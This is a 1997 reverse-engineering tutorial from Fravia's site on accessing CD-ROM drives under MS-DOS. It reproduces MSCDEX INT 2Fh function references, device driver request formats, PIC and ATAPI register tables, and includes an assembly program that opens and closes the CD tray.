tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/ft4tom.htm (4 of 4) [2/7/2001 3:21:30 PM]


rcgcd

+HCU
Project 4: CD-ROM related reverse engineering
CD ROM from top to down
(MSCDEX, reversing drivers and CR-ROM related interrupts)

by +RCG

(13 October 1997)

Courtesy of Fravia's page of reverse engineering

Well, a welcome "basic" addition by +Rcg, who clear things a little out on such important matters like accessing the CD-ROM
through the MSCDEX driver.

CD-ROM REVERSE ENGINEERING

Well under this generic title, I hope we will be able to


develop a good project, just like +HCU's Project 2 (Softice).
If you have read Project 2, you could see how many
different subjects are dealed there: Vxd, NT, CheckSums and
many others, would our objective only have been 'Crack', our
Project would have finished with Part 1 or 2.
Yet no! We want to learn as much as possible, so that when everyone of
us put his 'grain of sand', the result is a great project.
So thi is my own 'grain of sand' for project 4, and I wish we will have
a desert soon.

CD-ROM FROM TOP TO DOWN.

You know CD-ROM is a relatively 'new' hardware device, and it


has special characteristics that old MS-DOS can't use directly.
So, we need under MS-DOS a driver and a program called
MSCDEX (MS-CD-Extension).
For programmers, the CD drive is just like all the others drives
(this is the advantadges of a well designed OS, to isolate the
hard from de soft.
CD-ROM has another problem, it is a drive, so it must be
treated as a 'block device driver' but due to its capacity,
and the form it stores the information, it can't be
considered as a 'standart block device driver', so MS solved
this using MSCDEX, this program is a pseudoblockdevicedriver
that assings a 'letter' to the 'characther device driver',
to perform this action MSCDEX 'tells' MS-DOS CD-ROM it is a
net device, so MS-DOS accepts and gives it a 'letter'.

So we have two 'layers' between the hardware and the user:

http://www.instinct.org/fravia/rcgcd.htm (1 of 46) [2/7/2001 3:21:46 PM]


rcgcd

net net
redirector call
Programm ----> DOS ----> MSCDEX -----> REDIRECTOR
Aplication KERNEL |
^ |
| |
| V
Commands ------- CD-DRIVER
|
|
V
CD-UNIT

MSCDEX is independent of the Hard, so the Device Driver must


be a standart IO device.
If we want to permorm an action on a CD-ROM we can do
it by diferents ways, using:

0) DOS FUNCTIONS or MSCDEX


1) DIRECTLY TO THE DRIVER
2) ACCESING DIRECTLY TO THE CD-ROM UNIT.

0) MSCDEX

MS-DOS and MSCDEX functions can be reversed and thus be


intercepted easily, just read Part 1 of this Project and
use the next information to develop our own protections/
cracks.

Extracted from Ralf Brown Interrupt List, thanks Ralf.

--------d-2F1500BX0000-----------------------
INT 2F - CD-ROM - INSTALLATION CHECK
AX = 1500h
BX = 0000h
Return: BX = number of CD-ROM drive letters used
CX = starting drive letter (0=A:)
Notes: this installation check DOES NOT follow the format
used by other software
this installation check conflicts with the DOS 4.00
GRAPHICS.COM installation check
BUG: this function may return an incorrect starting drive
letter when INTERLNK is installed

--------d-2F1501-----------------------------
INT 2F - CD-ROM - GET DRIVE DEVICE LIST
AX = 1501h

http://www.instinct.org/fravia/rcgcd.htm (2 of 46) [2/7/2001 3:21:46 PM]


rcgcd

ES:BX -> buffer to hold drive letter list (5 bytes


per drive letter)
Return: buffer filled, for each drive letter
BYTE subunit number in driver
DWORD address of device driver header (see #1298)
Note: reportedly returns AX=0000h and an invalid address
under Windows95
SeeAlso: AX=1510h

--------d-2F1502-----------------------------
INT 2F - CD-ROM - GET COPYRIGHT FILE NAME
AX = 1502h
ES:BX -> 38-byte buffer for name of copyright file
CX = drive number (0=A:)
Return: CF set if drive is not a CD-ROM drive
AX = 000Fh (invalid drive)
CF clear if successful
SeeAlso: AX=1503h

--------d-2F1503-----------------------------
INT 2F - CD-ROM - GET ABSTRACT FILE NAME
AX = 1503h
ES:BX -> 38-byte buffer for name of abstract file
CX = drive number (0=A:)
Return: CF set if drive is not a CD-ROM drive
AX = 000Fh (invalid drive)
CF clear if successful
SeeAlso: AX=1502h,AX=1504h

--------d-2F1504-----------------------------
INT 2F - CD-ROM - GET BIBLIOGRAPHIC DOC FILE NAME
AX = 1504h
ES:BX -> 38-byte buffer for name of bibliographic
documentation file
CX = drive number (0=A:)
Return: CF set if drive is not a CD-ROM drive
AX = 000Fh (invalid drive)
CF clear if successful
SeeAlso: AX=1502h,AX=1503h

--------d-2F1505-----------------------------
INT 2F - CD-ROM - READ VTOC
AX = 1505h
ES:BX -> 2048-byte buffer
CX = drive number (0=A:)
DX = sector index (0=first volume descriptor,
1=second,...)
Return: CF set on error
AX = error code (15=invalid drive,21=not ready)
CF clear if successful
AX = volume descriptor type (1=standard,
FFh=terminator,0=other)
Note: This function was not supported by Novell DOS 7
NWCDEX prior to the 08/16/94 update

http://www.instinct.org/fravia/rcgcd.htm (3 of 46) [2/7/2001 3:21:46 PM]


rcgcd

--------d-2F1506-----------------------------
INT 2F - CD-ROM - TURN DEBUGGING ON
AX = 1506h
BX = debugging function to enable
Note: reserved for development
SeeAlso: AX=1507h

--------d-2F1507-----------------------------
INT 2F - CD-ROM - TURN DEBUGGING OFF
AX = 1507h
BX = debugging function to disable
Note: reserved for development
SeeAlso: AX=1506h

--------d-2F1508-----------------------------
INT 2F - CD-ROM - ABSOLUTE DISK READ
AX = 1508h
ES:BX -> buffer
CX = drive number (0=A:)
SI:DI = starting sector number
DX = number of sectors to read
Return: CF set on error
AL = error code(0Fh invalid drive,15h not ready)
CF clear if successful
Note: reportedly returns error 15h (not ready) under
Windows95
SeeAlso: AX=1509h

--------d-2F1509-----------------------------
INT 2F - CD-ROM - ABSOLUTE DISK WRITE
AX = 1509h
ES:BX -> buffer
CX = drive number (0=A:)
SI:DI = starting sector number
DX = number of sectors to write
Note: corresponds to INT 26h and is currently reserved
and nonfunctional
SeeAlso: AX=1508h

--------d-2F150A-----------------------------
INT 2F - CD-ROM - RESERVED
AX = 150Ah

--------d-2F150B-----------------------------
INT 2F - CD-ROM v2.00+ - DRIVE CHECK
AX = 150Bh
CX = drive number (0=A:)
Return: BX = ADADh if MSCDEX.EXE installed
AX = support status
0000h if drive not supported
nonzero if supported
SeeAlso: AX=150Dh

--------d-2F150C-----------------------------
INT 2F - CD-ROM v2.00+ -GET MSCDEX.EXE VERSION (GET VERSION)

http://www.instinct.org/fravia/rcgcd.htm (4 of 46) [2/7/2001 3:21:46 PM]


rcgcd

AX = 150Ch
Return: BH = major version
BL = minor version
Notes: MSCDEX.EXE versions prior to 2.00 return BX=0000h
Corel's CORELCDX.COM v1.01d returns 2.20
v1.12a returns 2.21
Meridian Data's CDNETEX.EXE returns its own version
Windows95 returns v2.95
SeeAlso: AX=1500h"CD-ROM"

--------d-2F150D-----------------------------
INT 2F - CD-ROM v2.00+ - GET CD-ROM DRIVE LETTERS
AX = 150Dh
ES:BX -> buffer for drive letter list
(1 byte per drive)
Return: buffer filled with drive numbers (0=A:).
Each byte corresponds to the drive in the same
position for function 1501h
SeeAlso: AX=150Bh

--------d-2F150E-----------------------------
INT 2F - CD-ROM v2.00+ -GET/SET VOLUME DESCRIPTOR PREFERENCE
AX = 150Eh
BX = subfunction
00h get preference
DX = 0000h
Return: DX = preference settings
01h set preference
DH = volume descriptor preference
01h = primary volume descriptor
02h = supplementary volume descriptor
DL = supplementary volume descriptor prefer.
01h = shift-Kanji
CX = drive number (0=A:)
Return: CF set on error
AX = error code(15=invalid drive,1=invalid function)
CF clear if successful

--------d-2F150F-----------------------------
INT 2F - CD-ROM v2.00+ - GET DIRECTORY ENTRY
AX = 150Fh
CL = drive number (0=A:)
CH bit 0 = copy flag
clear if direct copy
set if copy to structure which removes
ISO/High Sierra diffs
ES:BX -> ASCIZ path name
SI:DI -> buffer for directory entry
minimum 255 bytes for direct copy
Return: CF set on error
AX = error code
CF clear if successful
AX = disk format (0=High Sierra,1=ISO 9660)
Note: this function was not supported by Novell
DOS 7 NWCDEX prior to the 08/16/94 update

http://www.instinct.org/fravia/rcgcd.htm (5 of 46) [2/7/2001 3:21:46 PM]


rcgcd

Format of CD-ROM directory entry (direct copy):


Offset Size Description
00h BYTE length of directory entry
01h BYTE length of XAR in Logical Block Numbers
02h DWORD LBN of data, Intel (little-endian) format
06h DWORD LBN of data, Motorola (big-endian) format
0Ah DWORD length of file, Intel format
0Eh DWORD length of file, Motorola format
---High Sierra---
12h 6 BYTEs date and time
18h BYTE bit flags
19h BYTE reserved
---ISO 9660---
12h 7 BYTEs date and time
(seventh byte is offset from GMT in
15-minute increments)
19h BYTE bit flags
---both formats---
1Ah BYTE interleave size
1Bh BYTE interleave skip factor
1Ch WORD volume set sequence number, Intel format
1Eh WORD volume set sequence number, Motorola format
20h BYTE length of file name
21h N BYTEs file name
BYTE (optional) padding if filename is odd length
N BYTEs system data

Format of CD-ROM directory entry (canonicalized):


Offset Size Description
00h BYTE length of XAR in Logical Block Numbers
01h DWORD Logical Block Number of file start
05h WORD size of disk in logical blocks
07h DWORD file length in bytes
0Bh 7 BYTEs date and time
12h BYTE bit flags
13h BYTE interleave size
14h BYTE interleave skip factor
15h WORD volume set sequence number
17h BYTE length of file name
18h 38 BYTEs ASCIZ filename
3Eh WORD file version number
40h BYTE number of bytes of system use data
41h 220 BYTEs system use data

--------d-2F1510-----------------------------
INT 2F - CD-ROM v2.10+ - SEND DEVICE DRIVER REQUEST
AX = 1510h
CX = CD-ROM drive letter (0 = A, 1 = B, etc)
ES:BX -> CD-ROM device driver request header
(see #2251 at AX=0802h)
Note: MSCDEX initializes the device driver request
header's subunit field based on the drive number

http://www.instinct.org/fravia/rcgcd.htm (6 of 46) [2/7/2001 3:21:46 PM]


rcgcd

specified in CX
BUG: Novell DOS 7 NWCDEX prior to the 12/13/94 update did
not initialize the subunit field
SeeAlso: AX=0802h

--------d-2F15FFBX0000-----------------------
INT 2F - CD-ROM - CORELCDX - INSTALLATION CHECK
AX = 15FFh
BX = 0000h
Return: BX = ABCDh if CORELCDX loaded
Note: Corel's CORELCDX.COM is a replacement for MSCDEX.EXE
it also supports the standard MSCDEX installation
check calls AX=1500h and AX=150Ch
SeeAlso: AX=1500h"CD-ROM",AX=150Ch

1) CD-ROM DEVICE DRIVER

Values for device driver command code:


00h INIT
01h MEDIA CHECK (block devices)
02h BUILD BPB (block devices)
03h IOCTL INPUT
04h INPUT
05h NONDESTRUCTIVE INPUT, NO WAIT (character devices)
06h INPUT STATUS (character devices)
07h INPUT FLUSH (character devices)
08h OUTPUT
09h OUTPUT WITH VERIFY
0Ah OUTPUT STATUS (character devices)
0Bh OUTPUT FLUSH (character devices)
0Ch IOCTL OUTPUT
0Dh (DOS 3.0+) DEVICE OPEN
0Eh (DOS 3.0+) DEVICE CLOSE
0Fh (DOS 3.0+) REMOVABLE MEDIA (block devices)
10h (DOS 3.0+) OUTPUT UNTIL BUSY (character devices)
11h (European MS-DOS 4.0) STOP OUTPUT
12h (European MS-DOS 4.0) RESTART OUTPUT
13h (DOS 3.2+) GENERIC IOCTL
14h unused
15h (European MS-DOS 4.0) RESET UNCERTAIN MEDIA FLAG
16h unused
17h (DOS 3.2+) GET LOGICAL DEVICE
18h (DOS 3.2+) SET LOGICAL DEVICE
19h (DOS 5.0+) CHECK GENERIC IOCTL SUPPORT
80h (CD-ROM) READ LONG
81h (CD-ROM) reserved
82h (CD-ROM) READ LONG PREFETCH
83h (CD-ROM) SEEK
84h (CD-ROM) PLAY AUDIO
85h (CD-ROM) STOP AUDIO

http://www.instinct.org/fravia/rcgcd.htm (7 of 46) [2/7/2001 3:21:46 PM]


rcgcd

86h (CD-ROM) WRITE LONG


87h (CD-ROM) WRITE LONG VERIFY
88h (CD-ROM) RESUME AUDIO

Bitfields for device request status:


Bit(s) Description
15 error
14-11 reserved
10 ??? set by DOS kernel on entry to some driver calls
9 busy
8 done (may be clear on return under Eur. MS-DOS 4.0)
7-0 error code if bit 15 set

Values for device driver error code:


00h write-protect violation
01h unknown unit
02h drive not ready
03h unknown command
04h CRC error
05h bad drive request structure length
06h seek error
07h unknown media
08h sector not found
09h printer out of paper
0Ah write fault
0Bh read fault
0Ch general failure
0Dh reserved
0Eh (CD-ROM) media unavailable
0Fh invalid disk change

Format of device driver request header:


Offset Size Description (Table 2251)
00h BYTE length of request header
01h BYTE subunit within device driver
02h BYTE command code
03h WORD status (filled in by device driver)
05h 4 BYTEs reserved (unused in DOS 2.x and 3.x)
09h DWORD (European MS-DOS 4.0 only) pointer to next
request header in device's request queue
(other versions) reserved
(unused in DOS 2.x and 3.x)

---command code 00h---


0Dh BYTE (ret) number of units
0Eh DWORD (call) pointer to DOS device helper function
(European MS-DOS 4.0 only)
(call) pointer past end of memory available
to driver (DOS 5+)

http://www.instinct.org/fravia/rcgcd.htm (8 of 46) [2/7/2001 3:21:46 PM]


rcgcd

(ret) address of first free byte following


driver
12h DWORD (call) pointer to commandline arguments
(ret) pointer to BPB array (block drivers)
or 0000h:0000h (character drivers)
16h BYTE (DOS 3.0+) drive number for first unit of
block driver (0=A)
---European MS-DOS 4.0---
17h DWORD pointer to function to save regs. on stack
---DOS 5+ ---
17h WORD (ret) error-message flag
0001h MS-DOS should display error msg on
init failure

---command code 01h---


0Dh BYTE media descriptor
0Eh BYTE (ret) media status
00h don't know
01h media has not changed
FFh media has been changed
0Fh DWORD (ret, DOS 3.0+) pointer to previous volume
ID if the OPEN/CLOSE/RM bit in device header
is set and disk changed

---command code 02h---


0Dh BYTE media descriptor
0Eh DWORD transfer address
-> scratch sector if NON-IBM FORMAT bit in
device header set
-> first FAT sector otherwise
12h DWORD pointer to BPB (set by driver)

---command codes 03h,0Ch---


0Dh BYTE media descriptor (block devices only)
0Eh DWORD transfer address
12h WORD (call) number of bytes to read/write
(ret) actual number of bytes read or written

---command codes 04h,08h,09h ---


0Dh BYTE media descriptor (block devices only)
0Eh DWORD transfer address
12h WORD byte count (character devices) or sector
count (block devices)
14h WORD starting sector number (block devices only)
16h DWORD (DOS 3.0+) pointer to volume ID if error 0Fh
returned
1Ah DWORD (DOS 4.0+) 32-bit starting sector number
(block devices with device attribute word
bit 1 set only) if starting sector number
above is FFFFh.

---command code 05h---


0Dh BYTE byte read from device if BUSY bit clear
on return

http://www.instinct.org/fravia/rcgcd.htm (9 of 46) [2/7/2001 3:21:46 PM]


rcgcd

---command codes 06h,07h,0Ah,0Bh,0Dh,0Eh,0Fh---


no further fields

---command code 10h---


0Dh BYTE unused
0Eh DWORD transfer address
12h WORD (call) number of bytes to write
(ret) actual number of bytes written

---command codes 11h,12h---


0Dh BYTE reserved

---command code 15h---


no further fields

---command codes 13h,19h---


0Dh BYTE category code
00h unknown
01h COMn:
03h CON
05h LPTn:
07h mouse (European MS-DOS 4.0)
08h disk
0Fh WORD copy of DS at time of IOCTL call
(apparently unused in DOS 3.3)
SI contents (European MS-DOS 4.0)
11h WORD offset of device driver header
DI contents (European MS-DOS 4.0)
13h DWORD pointer to parameter block from
INT 21/AX=440Ch or AX=440Dh

---command codes 80h,82h---


0Dh BYTE addressing mode
00h HSG (default)
01h Phillips/Sony Red Book
0Eh DWORD transfer address (ignored for command 82h)
12h WORD number of sectors to read
(if 0 for command 82h, request is an
advisory seek)
14h DWORD starting sector number
logical sector number in HSG mode
frame/second/minute/unused in Red Book mode
(HSG sector = minute * 4500 + second * 75 +
+ frame - 150)
18h BYTE data read mode
00h cooked (2048 bytes per frame)
01h raw (2352 bytes per frame,
including EDC/ECC)
19h BYTE interleave size (number of sectors stored
consecutively)
1Ah BYTE interleave skip factor
(number of sectors between consecutive
portions)

---command code 83h---

http://www.instinct.org/fravia/rcgcd.htm (10 of 46) [2/7/2001 3:21:46 PM]


rcgcd

0Dh BYTE addressing mode


00h HSG (default)
01h Phillips/Sony Red Book
0Eh DWORD transfer address (ignored)
12h WORD number of sectors to read (ignored)
14h DWORD starting sector number (see also above)

---command code 84h---


0Dh BYTE addressing mode
00h HSG (default)
01h Phillips/Sony Red Book
0Eh DWORD starting sector number (see also above)
12h DWORD number of sectors to play

---command codes 85h,88h---


no further fields

---command codes 86h,87h---


0Dh BYTE addressing mode
00h HSG (default)
01h Phillips/Sony Red Book
0Eh DWORD transfer address (ignored in write mode 0)
12h WORD number of sectors to write
14h DWORD starting sector number (also see above)
18h BYTE write mode
00h mode 0 (write all zeros)
01h mode 1 (default) (2048 bytes per sector)
02h mode 2 form 1 (2048 bytes per sector)
03h mode 2 form 2 (2336 bytes per sector)
19h BYTE interleave size (number of sectors stored
consecutively)
1Ah BYTE interleave skip factor
(number of sectors between consecutive
portions)

Now, we have information enough to write a programm that


opens the CD-ROM (or closes it).

.model large
.stack 100h

blocks struc
lenght_block db 1Dh
disp_num db 0
funct_num db ?
status_word dw 0000
reserv db 8 dup ('?')
media_desc db 0
buffer_off dw 0
buffer_seg dw ?
sec_num dw ?
first_sec dw ?

http://www.instinct.org/fravia/rcgcd.htm (11 of 46) [2/7/2001 3:21:46 PM]


rcgcd

dummy db 8 dup ('?')


blocks ends

.data

block blocks

More_Info_Block db 0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0

Buffer db 4096 dup ('?')

est_rout dw 0 ;off
dw 0 ;seg
int_rout dw 0 ;off
dw 0 ;seg

num_cd dw 0
err_code dd 0
text_code dd 0

text db '$'
db 'CD tester program',13,10,'$'
db 'CD was opened, now closing it',10,13,'$'
db 'CD was closed, now openning it',10,13,'$'

error db '$'
db 'Cannot allocate memory',10,13,'$'
db 'MSCDEX is not installed.',10,13,'$'
db 'You need MSCDEX 2.0 or greater',10,13,'$'
db 'No CD-ROM unit found.',13,10,'$'
db 'Function not sopported.',10,13,'$'

.code
.486

START:
pusha
mov ax,@DATA
mov ds,ax

mov text_code,1
call Show_Text

call Get_Mem
jc Show_Error

call Init_MSCDEX
jc Show_Error

call Get_Driver_Far_Calls
call Set_More_Info_Block

http://www.instinct.org/fravia/rcgcd.htm (12 of 46) [2/7/2001 3:21:46 PM]


rcgcd

call Get_CD_Status
;call Read_Sector
;jmp finish

mov al,[More_Info_Block+1] ;Status returned


and al,1 ;in dword at
test al,al ;offset+1
jne @@1 ;(lower bytes first)

mov text_code,3
call Show_Text
call Open_CD
jmp @@2

@@1: mov text_code,2


call Show_Text
call Close_CD
@@2: jmp finish

finish:
;call Free_Mem
popa
mov ax,4C00h ;Back to DOS.
int 21h

;*************************************************
;****** Procedures ******
;*************************************************

Init_MSCDEX:
mov ax,1500h ;Is MDCDEX installed?
xor bx,bx ;First unit
int 2Fh

cmp bx,1
jae @1 ;MSCDEX to installed
mov num_cd,bx ;Stores gestioned CD_NUM
mov err_code,2 ;Mscdex not installed.
stc ;Set Error flag
ret

@1: mov ax,150Ch ;Get Version


xor bx,bx
int 2Fh

test bh,bh
jne @2
mov err_code,3 ;Version lower than 2.0
stc
ret

@2: mov es,[block.buffer_seg]

http://www.instinct.org/fravia/rcgcd.htm (13 of 46) [2/7/2001 3:21:46 PM]


rcgcd

xor bx,bx
mov ax,150Dh ;Get unit letter.
int 2Fh

mov al,es:[bx] ;Store first unit

xor cx,cx
mov cl,al
mov ax,150Bh ;Is a CD-ROM unit?
int 2Fh

cmp bx,0ADADh
jne @3
test ax,ax
jne @4 ;Is a CD-ROM
@3: mov err_code,4
stc
ret

@4: clc ;No errors


ret

Get_Mem:

mov ax,@data
mov [block.buffer_seg],ax
lea si,Buffer
mov [block.buffer_off],si
ret

; Could someone tell me why I can't allocate memory


; using the function 48h????

; mov ah,48h
; mov bx,100h ;Allocate 4 Kb
; int 21h
; jc @5
; mov [block.buffer_seg],ax ;Stores alloc. segment
; clc
; ret
;@5: mov err_code,1
; stc
; ret

;Free_Mem:

; mov ah,49h
; mov es,[block.buffer_seg]

http://www.instinct.org/fravia/rcgcd.htm (14 of 46) [2/7/2001 3:21:46 PM]


rcgcd

; int 21h
; jc @5
; clc
; ret

Get_Driver_Far_Calls:

les bx,dword ptr [block.buffer_off]


mov ax,1501h
int 2Fh

mov ax,es:[bx+3] ;Get Device Driver Segment


mov int_rout+2,ax
mov est_rout+2,ax
mov es,ax
mov ax,es:[8] ;Get Interrupt Routine offset
mov int_rout,ax
mov ax,es:[6] ;Get Estrategic Routine offset
mov est_rout,ax

ret

Set_More_Info_Block:

mov ax,@data
mov [block.buffer_seg],ax
lea di,More_Info_Block
mov [block.buffer_off],di
ret

Open_CD:

mov [block.funct_num],0Ch
mov ax,0 ;Open
mov [More_Info_Block],al
mov [More_Info_Block+1],ah
jmp Execute_Command

Close_CD:

mov [block.funct_num],0Ch
mov ax,5 ;Close
mov [More_Info_Block],al
mov [More_Info_Block+1],ah
jmp Execute_Command

Read_Sector:

mov [block.funct_num],80h
mov [block.media_desc],1 ;Red book

http://www.instinct.org/fravia/rcgcd.htm (15 of 46) [2/7/2001 3:21:46 PM]


rcgcd

mov [block.sec_num],1 ;Read 1 sector


mov [block.first_sec],20h ;First sector is 20h
mov [block.dummy+2],0 ;Cooked (2048 bytes)
jmp Execute_Command

Get_CD_Status:

mov [block.funct_num],03h
mov ax,6 ;Get CD Status
mov [More_Info_Block],al
mov [More_Info_Block+1],ah
jmp Execute_Command

Execute_Command:

lea bx,block
mov ax,@data
mov es,ax
call dword ptr [est_rout]
call dword ptr [int_rout]
ret

Show_Error:
mov ax,@data
mov ds,ax
lea esi,error
mov ecx,err_code
cld
mov al,'$'
@6: mov ah,[esi]
inc esi
cmp ah,al
jne @6
loop @6
mov edx,esi
mov ah,9
int 21h ;Show error text
jmp finish

Show_Text:
mov ax,@data
mov ds,ax
lea esi,text
mov ecx,text_code
cld
mov al,'$'
@7: mov ah,[esi]
inc esi
cmp ah,al

http://www.instinct.org/fravia/rcgcd.htm (16 of 46) [2/7/2001 3:21:46 PM]


rcgcd

jne @7
loop @7
mov edx,esi
mov ah,9
int 21h ;Show text
ret

END START

Only one commentary about this program because we will use


this info in the next section.

When you call the function 01h of MSCDEX, we get a struct


with the information about our CD driver this info is the
next (every 5 bytes):

offset meanning
00h Subunit number
01h-05h Far ptr to driver
..
..

Now, if we know that a MS-DEVICE-DRIVER has always a 00


offset, we can read the header info on the driver and get
the both FAR_CALLs, just like you can see in the routine
GET_FAR_CALLS.

Driver Header Struct

+00 Far Ptr to next device driver 1 ptr


+04 Device Attribute 1 word
+06 Offset of Strategic Routine 1 word
+08 Offset of Intrrupt Routine 1 word
+0A Device Driver Name 8 byte
+12 Reserver 1 word
+14 First letter assigned 1 byte
+15 Num. of cd-rom unit gestioned 1 byte

This info is used later to 'create' our driver.

2) REVERSING OUR DEVICE DRIVER

This part can be only aplied enterely to the


'CREATIVE CD_ROM UNIT 2x' whose driver is SBIDE.SYS, but you
can extract ideas and then use them on your own drivers.
We will try to find out how our hardware works and how our

http://www.instinct.org/fravia/rcgcd.htm (17 of 46) [2/7/2001 3:21:46 PM]


rcgcd

controller gets or sends info to the CD_UNIT.


I though (what a stupid idea for my part) that visiting
the Panasonic Web I would obtain technical info about their
products, but no only info about their x24 CD-ROM and some
other things that zoombies search for on the web pages, so
I though that our Linux friends could give us more info, so
I searched for ATAPI.H and SBPCD.H files and I found an important
info for our purposes (thanks friends)

I will first introduce you some aspects of the PIC, BIOS


parameters and ATAPI definitions.

----------P0020003F--------------------------
PORT 0020-003F - PIC 1 - PROGRAMMABLE INTERRUPT CONTROLLER
(8259A)

0020 -W PIC initialization command word ICW1


0020 -W PIC output control word OCW2
0020 -W PIC output control word OCW3
0020 R- PIC interrupt request/in-service registers
after OCW3
request register:
bit 7-0 = 0 no active request for the
corresponding int. line
= 1 active request for
corresponding interrupt line
in-service register:
bit 7-0 = 0 corresponding line not
currently being serviced
= 1 corresponding int. line
currently being serviced

0021 -W PIC ICW2,ICW3,ICW4 immed after ICW1 to 0020


0021 RW PIC master interrupt mask register OCW1

Bitfields for PIC initialization command word ICW1:


Bit(s) Description
7-5 0 (only used in 8080/8085 mode)
4 ICW1 is being issued
3 (LTIM)
=0 edge triggered mode
=1 level triggered mode
2 interrupt vector size
=0 successive interrupt vectors use 8 bytes (8080/5)
=1 successive interrupt vectors use 4 bytes (80x86)
1 (SNGL)
=0 cascade mode
=1 single mode, no ICW3 needed
0 ICW4 needed

Bitfields for PIC initialization command word ICW2:


Bit(s) Description
7-3 address lines A0-A3 of base vector address for PIC

http://www.instinct.org/fravia/rcgcd.htm (18 of 46) [2/7/2001 3:21:46 PM]


rcgcd

2-0 reserved

Bitfields for PIC initialization command word ICW3:


Bit(s) Description
7-0 =0 slave controller not attached to corresponding
interrupt pin
=1 slave controller attached to corresponding
interrupt pin

Bitfields for PIC initialization command word ICW4:


Bit(s) Description
7-5 reserved (0)
4 running in special fully-nested mode
3-2 mode
0x nonbuffered mode
10 buffered mode/slave
11 buffered mode/master
1 Auto EOI
0 =0 8085 mode
=1 8086/8088 mode

Bitfields for PIC output control word OCW1:


Bit(s) Description
7 disable IRQ7 (parallel printer interrupt)
6 disable IRQ6 (diskette interrupt)
5 disable IRQ5 (fixed disk interrupt)
4 disable IRQ4 (serial port 1 interrupt)
3 disable IRQ3 (serial port 2 interrupt)
2 disable IRQ2 (video interrupt)
1 disable IRQ1 (keyboard, mouse, RTC interrupt)
0 disable IRQ0 (timer interrupt)

Bitfields for PIC output control word OCW2:


Bit(s) Description
7-5 operation
000 rotate in auto EOI mode (clear)
001 (WORD_A) nonspecific EOI
010 (WORD_H) no operation
011 (WORD_B) specific EOI
100 (WORD_F) rotate in auto EOI mode (set)
101 (WORD_C) rotate on nonspecific EOI command
110 (WORD_E) set priority command
111 (WORD_D) rotate on specific EOI command
4-3 reserved (00 - signals OCW2)
2-0 interrupt request to which the command applies
(only used by WORD_B, WORD_D, and WORD_E)

Bitfields for PIC output control word OCW3:


Bit(s) Description
7 reserved (0)
6-5 special mask
0x no operation
10 reset special mask
11 set special mask mode
4-3 reserved (01 - signals OCW3)

http://www.instinct.org/fravia/rcgcd.htm (19 of 46) [2/7/2001 3:21:46 PM]


rcgcd

2 poll command
1-0 function
0x no operation
10 read interrupt request register on next read
from PORT 0020h
11 read interrupt in-service register on next read
from PORT 0020h
Note: the special mask mode permits all other interrupts
(even those with lower priority) to be processed
while an interrupt is already in service, but will
not reissue an interrupt for a particular IRQ while
it remains in service

----------P00A000AF--------------------------
PORT 00A0-00AF - PIC 2 - PROGRAMMABLE INTERRUPT CONTROLLER
(8259A)

00A0 RW NMI mask register (XT)


bit 7 = 0 disabled
= 1 enabled
00A0 RW PIC 2 same as 0020 for PIC 1
00A1 RW PIC 2 same as 0021 for PIC 1 except for OCW1

Bitfields for PIC2 output control word OCW2:


Bit(s) Description
7 disable IRQ15 (reserved)
6 disable IRQ14 (fixed disk interrupt)
5 disable IRQ13 (coprocessor exception interrupt)
4 disable IRQ12 (mouse interrupt)
3 disable IRQ11 (reserved)
2 disable IRQ10 (reserved)
1 disable IRQ9 (redirect cascade)
0 disable IRQ8 (real-time clock interrupt)

----------M0040006C--------------------------
MEM 0040h:006Ch - TIMER TICKS SINCE MIDNIGHT
Size: DWORD

----------M00400070--------------------------
MEM 0040h:0070h - TIMER OVERFLOW
Size: BYTE
Desc: non-zero if timer has counted past midnight since
last call to INT 1A/AH=00h
Note: the original IBM BIOS, and thus most other BIOSes,
sets this byte to 01h at midnight; a few (such as
the Eagle PC-2) increment it each time midnight is
passed. The former behavior results in lost days
if multiple midnights pass between "get-time" calls
while the machine is powered up.

--------B-M0040008E--------------------------

http://www.instinct.org/fravia/rcgcd.htm (20 of 46) [2/7/2001 3:21:46 PM]


rcgcd

MEM 0040h:008Eh - FIXED DISK - INTERRUPT CONTROL [not XT]


Size: BYTE
Note: cleared to 00h at start of disk operation, set to
FFh by IRQ14 handler when hard disk controller
completes command

This is our Linux developers friends help.

/*
* Device-independent level for ATAPI drivers.
*
* Copyright (C) 1995 Cronyx Ltd.
* Author Serge Vakulenko,
*
* This software is distributed with NO WARRANTIES, not even
* the implied warranties for MERCHANTABILITY or FITNESS FOR
* A PARTICULAR PURPOSE.
*
* Authors grant any other persons or organizations
* permission to use or modify this software as long as this
* message is kept with the software, all derivative works
* or modified versions.
*
* Version 1.9, Thu Oct 12 15:53:50 MSK 1995
*/

/*
* Disk Controller ATAPI register definitions.
*/

AR_DATA 0x0 /* RW - data register (16 bits) */


AR_ERROR 0x1 /* R - error register */
AR_FEATURES 0x1 /* W - features */
AR_IREASON 0x2 /* RW - interrupt reason */
AR_TAG 0x3 /* - reserved for SAM TAG byte */
AR_CNTLO 0x4 /* RW - byte count, low byte */
AR_CNTHI 0x5 /* RW - byte count, high byte */
AR_DRIVE 0x6 /* RW - drive select */
AR_COMMAND 0x7 /* W - command register */
AR_STATUS 0x7 /* R - immediate status */

/*
* Status register bits
*/
ARS_CHECK 0x01 /* error occured, see sense key/code */
/* bit 0x02 reserved */
ARS_CORR 0x04 /* correctable error occured */
ARS_DRQ 0x08 /* data request / ireason valid */
ARS_DSC 0x10 /* immediate operation completed */
ARS_DF 0x20 /* drive fault */
ARS_DRDY 0x40 /* ready to get command */

http://www.instinct.org/fravia/rcgcd.htm (21 of 46) [2/7/2001 3:21:46 PM]


rcgcd

ARS_BSY 0x80 /* registers busy */


/* for overlap mode only: */
ARS_SERVICE 0x10 /* service is requested */
ARS_DMARDY 0x20 /* ready to start a DMA transfer */
ARS_BITS "\20\010busy\7ready\6fault\5opdone\4drq\3corr\
1check"

/*
* Error register bits
*/
AER_ILI 0x01 /* illegal length indication */
AER_EOM 0x02 /* end of media detected */
AER_ABRT 0x04 /* command aborted */
AER_MCR 0x08 /* media change requested */
AER_SKEY 0xf0 /* sense key mask */
AER_SK_NO_SENSE 0x00 /* no specific sense key info */
AER_SK_RECOVERED_ERROR 0x10 /* command succeeded, data recovered */
AER_SK_NOT_READY 0x20 /* no access to drive */
AER_SK_MEDIUM_ERROR 0x30 /* non-recovered data error */
AER_SK_HARDWARE_ERROR 0x40 /* non-recoverable hardware failure */
AER_SK_ILLEGAL_REQUEST 0x50 /* invalid command parameter(s) */
AER_SK_UNIT_ATTENTION 0x60 /* media changed */
